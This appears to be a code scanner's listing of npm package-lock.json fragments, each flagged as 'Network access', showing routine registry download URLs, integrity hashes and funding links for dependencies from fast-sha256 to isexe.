"version": "1.3.0", "resolved": "https://registry.npmjs.org/fast-sha256/-/fast-sha256-1.3.0.tgz", "integrity": "sha512-n11RGP/lrWEFI/bWdygLxhI+pVeo1ZYIVwvvPkW7azl/rOy+F3HYRZ2K5zeE9mmkhQppyv9sQFx0JM9UabnpPQ==", - Network accessline 3049
"resolved": "https://registry.npmjs.org/fast-sha256/-/fast-sha256-1.3.0.tgz", - Network accessline 3055
"node_modules/fast-uri": { "version": "4.2.1", "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-4.2.1.tgz", - Network accessline 3056
"version": "4.2.1", "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-4.2.1.tgz", "integrity": "sha512-TmHQgewjHtMq1E5QKA0tOE0yeYGQs25KZC/ziJpubRtWI15W92e6vPFydWOeZBVROSHBYw/QhD9d5OefdD6LDg==", - Network accessline 3057
"resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-4.2.1.tgz", - Network accessline 3060
{ "type": "github", "url": "https://github.com/sponsors/fastify" - Network accessline 3061
"type": "github", "url": "https://github.com/sponsors/fastify" }, - Network accessline 3062
"url": "https://github.com/sponsors/fastify" - Network accessline 3064
{ "type": "opencollective", "url": "https://opencollective.com/fastify" - Network accessline 3065
"type": "opencollective", "url": "https://opencollective.com/fastify" } - Network accessline 3066
"url": "https://opencollective.com/fastify" - Network accessline 3073
"node_modules/fb-watchman": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz", - Network accessline 3074
"version": "2.0.2", "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz", "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==", - Network accessline 3075
"resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz", - Network accessline 3083
"node_modules/fill-range": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", - Network accessline 3084
"version": "7.1.1", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", - Network accessline 3085
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", - Network accessline 3096
"node_modules/finalhandler": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz", - Network accessline 3097
"version": "2.1.1", "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz", "integrity": "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==", - Network accessline 3098
"resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz", - Network accessline 3114
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 3115
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 3116
"url": "https://opencollective.com/express" - Network accessline 3119
"node_modules/find-up": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - Network accessline 3120
"version": "4.1.0", "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", - Network accessline 3121
"resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - Network accessline 3133
"node_modules/form-data": { "version": "4.0.5", "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", - Network accessline 3134
"version": "4.0.5", "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", - Network accessline 3135
"resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", - Network accessline 3150
"node_modules/forwarded": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", - Network accessline 3151
"version": "0.2.0", "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", - Network accessline 3152
"resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", - Network accessline 3161
"node_modules/fresh": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz", - Network accessline 3162
"version": "2.0.0", "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz", "integrity": "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==", - Network accessline 3163
"resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz", - Network accessline 3172
"node_modules/fs.realpath": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - Network accessline 3173
"version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", - Network accessline 3174
"resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - Network accessline 3179
"node_modules/fsevents": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - Network accessline 3180
"version": "2.3.3", "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - Network accessline 3181
"resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - Network accessline 3194
"node_modules/function-bind": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - Network accessline 3195
"version": "1.1.2", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", - Network accessline 3196
"resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - Network accessline 3199
"license": "MIT", "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 3200
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 3201
"url": "https://github.com/sponsors/ljharb" - Network accessline 3204
"node_modules/gensync": { "version": "1.0.0-beta.2", "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", - Network accessline 3205
"version": "1.0.0-beta.2", "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", - Network accessline 3206
"resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", - Network accessline 3214
"node_modules/get-caller-file": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", - Network accessline 3215
"version": "2.0.5", "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", - Network accessline 3216
"resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", - Network accessline 3224
"node_modules/get-intrinsic": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", - Network accessline 3225
"version": "1.3.0", "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", - Network accessline 3226
"resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", - Network accessline 3244
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 3245
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 3246
"url": "https://github.com/sponsors/ljharb" - Network accessline 3249
"node_modules/get-package-type": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz", - Network accessline 3250
"version": "0.1.0", "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz", "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==", - Network accessline 3251
"resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz", - Network accessline 3259
"node_modules/get-proto": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", - Network accessline 3260
"version": "1.0.1", "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", - Network accessline 3261
"resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", - Network accessline 3273
"node_modules/get-stream": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", - Network accessline 3274
"version": "6.0.1", "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", - Network accessline 3275
"resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", - Network accessline 3281
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 3282
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 3283
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 3286
"node_modules/glob": { "version": "7.2.3", "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - Network accessline 3287
"version": "7.2.3", "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", - Network accessline 3288
"resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - Network accessline 3303
}, "funding": { "url": "https://github.com/sponsors/isaacs" - Network accessline 3304
"funding": { "url": "https://github.com/sponsors/isaacs" } - Network accessline 3305
"url": "https://github.com/sponsors/isaacs" - Network accessline 3308
"node_modules/gopd": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", - Network accessline 3309
"version": "1.2.0", "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", - Network accessline 3310
"resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", - Network accessline 3316
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 3317
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 3318
"url": "https://github.com/sponsors/ljharb" - Network accessline 3321
"node_modules/graceful-fs": { "version": "4.2.11", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - Network accessline 3322
"version": "4.2.11", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", - Network accessline 3323
"resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - Network accessline 3328
"node_modules/has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - Network accessline 3329
"version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - Network accessline 3330
"resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - Network accessline 3338
"node_modules/has-symbols": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", - Network accessline 3339
"version": "1.1.0", "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", - Network accessline 3340
"resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", - Network accessline 3346
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 3347
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 3348
"url": "https://github.com/sponsors/ljharb" - Network accessline 3351
"node_modules/has-tostringtag": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", - Network accessline 3352
"version": "1.0.2", "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", - Network accessline 3353
"resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", - Network accessline 3362
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 3363
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 3364
"url": "https://github.com/sponsors/ljharb" - Network accessline 3367
"node_modules/hasown": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.3.tgz", - Network accessline 3368
"version": "2.0.3", "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.3.tgz", "integrity": "sha512-ej4AhfhfL2Q2zpMmLo7U1Uv9+PyhIZpgQLGT1F9miIGmiCJIoCgSmczFdrc97mWT4kVY72KA+WnnhJ5pghSvSg==", - Network accessline 3369
"resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.3.tgz", - Network accessline 3380
"node_modules/hono": { "version": "4.13.13", "resolved": "https://registry.npmjs.org/hono/-/hono-4.13.13.tgz", - Network accessline 3381
"version": "4.13.13", "resolved": "https://registry.npmjs.org/hono/-/hono-4.13.13.tgz", "integrity": "sha512-CQ46U0ZkAGmbT/4UxdzzGJpacP2IeKgY4a5/tOI9AABbpOMfK739wfDXmv1usCk+3RkKj1hQy4/fjhiwa2xlrA==", - Network accessline 3382
"resolved": "https://registry.npmjs.org/hono/-/hono-4.13.13.tgz", - Network accessline 3391
"node_modules/html-encoding-sniffer": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz", - Network accessline 3392
"version": "4.0.0", "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz", "integrity": "sha512-Y22oTqIU4uuPgEemfz7NDJz6OeKf12Lsu+QC+s3BVpda64lTiMYCyGwg5ki4vFxkMwQdeZDl2adZoqUgdFuTgQ==" - Network accessline 3393
"resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz", - Network accessline 3404
"node_modules/html-escaper": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", - Network accessline 3405
"version": "2.0.2", "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", - Network accessline 3406
"resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", - Network accessline 3411
"node_modules/http-errors": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", - Network accessline 3412
"version": "2.0.1", "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", - Network accessline 3413
"resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", - Network accessline 3428
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 3429
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 3430
"url": "https://opencollective.com/express" - Network accessline 3433
"node_modules/http-proxy-agent": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", - Network accessline 3434
"version": "7.0.2", "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", - Network accessline 3435
"resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", - Network accessline 3447
"node_modules/https-proxy-agent": { "version": "7.0.6", "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", - Network accessline 3448
"version": "7.0.6", "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", - Network accessline 3449
"resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", - Network accessline 3461
"node_modules/human-signals": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", - Network accessline 3462
"version": "2.1.0", "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", - Network accessline 3463
"resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", - Network accessline 3471
"node_modules/iconv-lite": { "version": "0.6.3", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", - Network accessline 3472
"version": "0.6.3", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", - Network accessline 3473
"resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", - Network accessline 3484
"node_modules/import-local": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.2.0.tgz", - Network accessline 3485
"version": "3.2.0", "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.2.0.tgz", "integrity": "sha512-2SPlun1JUPWoM6t3F0dw0FkCF/jWY8kttcY4f599GLTSjh2OCuuhdTkJQsEcZzBqbXZGKMK2OqW1oZsjtf/gQA==", - Network accessline 3486
"resolved": "https://registry.npmjs.org/import-local/-/import-local-3.2.0.tgz", - Network accessline 3499
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 3500
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 3501
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 3504
"node_modules/imurmurhash": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - Network accessline 3505
"version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", - Network accessline 3506
"resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - Network accessline 3514
"node_modules/inflight": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - Network accessline 3515
"version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", - Network accessline 3516
"resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", "deprecated": "This module is not supported, - Network accessline 3526
"node_modules/inherits": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - Network accessline 3527
"version": "2.0.4", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - Network accessline 3528
"resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - Network accessline 3533
"node_modules/ip-address": { "version": "10.7.3", "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.7.3.tgz", - Network accessline 3534
"version": "10.7.3", "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.7.3.tgz", "integrity": "sha512-A1kdq/tSb5QjvKvAMgIoEvDBIgL7qaqVP/jkvSwYYRZ9iEzvPpopxp2wQfu3SuZRHtpHNxMn8Fs0bS+gf5Xmwg==", - Network accessline 3535
"resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.7.3.tgz", - Network accessline 3544
"node_modules/ipaddr.js": { "version": "1.9.1", "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", - Network accessline 3545
"version": "1.9.1", "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", - Network accessline 3546
"resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", - Network accessline 3555
"node_modules/is-arrayish": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", - Network accessline 3556
"version": "0.2.1", "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", - Network accessline 3557
"resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", - Network accessline 3562
"node_modules/is-core-module": { "version": "2.16.1", "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", - Network accessline 3563
"version": "2.16.1", "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", - Network accessline 3564
"resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", - Network accessline 3573
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 3574
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 3575
"url": "https://github.com/sponsors/ljharb" - Network accessline 3578
"node_modules/is-fullwidth-code-point": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - Network accessline 3579
"version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQ - Network accessline 3580
"resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - Network accessline 3588
"node_modules/is-generator-fn": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz", - Network accessline 3589
"version": "2.1.0", "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz", "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==", - Network accessline 3590
"resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz", - Network accessline 3598
"node_modules/is-number": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - Network accessline 3599
"version": "7.0.0", "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - Network accessline 3600
"resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - Network accessline 3608
"node_modules/is-potential-custom-element-name": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", - Network accessline 3609
"version": "1.0.1", "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmP - Network accessline 3610
"resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", - Network accessline 3615
"node_modules/is-promise": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz", - Network accessline 3616
"version": "4.0.0", "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz", "integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==", - Network accessline 3617
"resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz", - Network accessline 3623
"node_modules/is-stream": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", - Network accessline 3624
"version": "2.0.1", "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", - Network accessline 3625
"resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", - Network accessline 3631
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 3632
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 3633
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 3636
"node_modules/isexe": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - Network accessline 3637
